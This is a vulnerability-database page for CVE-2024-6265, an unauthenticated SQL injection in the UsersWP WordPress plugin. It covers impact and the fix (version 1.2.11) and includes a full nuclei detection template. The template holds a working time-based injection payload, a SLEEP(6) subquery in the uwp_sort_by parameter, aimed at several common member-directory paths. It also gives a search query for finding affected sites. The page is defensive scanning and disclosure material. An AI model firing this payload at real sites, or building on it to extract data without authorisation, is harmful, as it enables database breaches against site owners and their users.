HexBrain

Browse / CVEs / CVE-2024-6265

CVE-2024-6265

UsersWP <= 1.2.10 - Unauthenticated SQL Injection

criticalseverity
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WordPress contains a time-based SQL Injection caused by insufficient escaping of the 'uwp_sort_by' parameter in all versions up to 1.2.10, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires attacker to control the 'uwp_sort_by' parameter.

Impact

Attackers can extract sensitive database information by executing arbitrary SQL queries, leading to data breach.

Fix

Update to version 1.2.11 or later.

How to confirm it

Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains_any(body, "uwp-users", "uwp_page", "wp-content/plugins/userswp")

Run it with nuclei: nuclei -id CVE-2024-6265 -u <target>

The full check
id: CVE-2024-6265

info:
  name: UsersWP <= 1.2.10 - Unauthenticated SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WordPress contains a time-based SQL Injection caused by insufficient escaping of the 'uwp_sort_by' parameter in all versions up to 1.2.10, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires attacker to control the 'uwp_sort_by' parameter.
  remediation: |
    Update to version 1.2.11 or later.
  impact: |
    Attackers can extract sensitive database information by executing arbitrary SQL queries, leading to data breach.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6265
  metadata:
    verified: true
    max-request: 6
    publicwww-query: "/plugins/userswp/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,userswp,sqli,time-based,unauth,vkev

http:
  - raw:
      - |
        @timeout: 10s
        GET {{path}}?uwp_sort_by=display_name,(SELECT+SLEEP(6))_asc HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "/users/"
        - "/members/"
        - "/user-list/"
        - "/member-directory/"
        - "/directory/"
        - "/all-users/"

    attack: clusterbomb

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - 'contains_any(body, "uwp-users", "uwp_page", "wp-content/plugins/userswp")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from